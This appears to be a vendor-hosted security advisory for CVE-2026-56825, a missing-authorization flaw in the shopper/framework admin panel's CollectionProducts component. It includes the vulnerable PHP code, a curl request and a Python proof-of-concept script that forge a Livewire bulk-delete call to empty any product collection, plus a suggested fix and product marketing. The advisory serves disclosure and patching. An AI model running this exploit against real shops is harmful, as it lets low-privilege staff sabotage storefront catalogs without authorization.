Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

CVE-2026-56825

HIGH

CVE-2026-56825 is a high-severity (CVSS 8.1) vulnerability in shopper/framework. O3 Security confirms whether CVE-2026-56825 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Shopper: Missing authorization on product removal actions in CollectionProducts component

Published
Sep 11, 2026
Updated
Sep 11, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 11, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐘shopper/framework

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

  • packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
// Line 40 - client-mutable, no #[Locked]
public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
    Action::make('delete')
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->iconButton()
        ->color('danger')
        ->requiresConfirmation()
        ->action(function (Product $record): void {
            $this->collection->products()->detach([$record->id]);
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        }),
])

// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
    DeleteBulkAction::make()
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->requiresConfirmation()
        ->action(function (EloquentCollection $records): void {
            $this->collection->products()->detach($records->pluck('id')->toArray());
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        })
        ->deselectRecordsAfterCompletion(),
])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#          substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{
        "path": "",
        "method": "callBulkAction",
        "params": ["delete", [1, 2, 3, 4, 5]]
      }]
    }]
  }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#           regardless of the caller having only browse_collections.

Proof of concept

#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  COLLECTION_ID   integer ID of the target collection
  PRODUCT_IDS     comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'collection': collection_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callBulkAction',
            'params': ['delete', product_ids],
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use Livewire\Attributes\Locked;

#[Locked]                          // prevent client-side ID substitution
public Collection $collection;

// Per-record action:
Action::make('delete')
    ->authorize('edit_collections')  // add this
    ->action(function (Product $record): void {
        $this->collection->products()->detach([$record->id]);
        // ...
    }),

// Bulk action:
DeleteBulkAction::make()
    ->authorize('edit_collections')  // add this
    ->action(function (EloquentCollection $records): void {
        $this->collection->products()->detach($records->pluck('id')->toArray());
        // ...
    })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistshopper/frameworkall versions2.9.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for shopper/framework. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update shopper/framework to 2.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-56825 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2026-56825 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-56825. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Title Missing authorization on product removal actions in CollectionProducts component ## Description A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make('delete')` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `->authorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-p
O3 Security · Impact-Aware SCA

Is CVE-2026-56825 in your dependencies?

O3 detects CVE-2026-56825 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

CVE-2026-56825: shopper/framework | O3 Security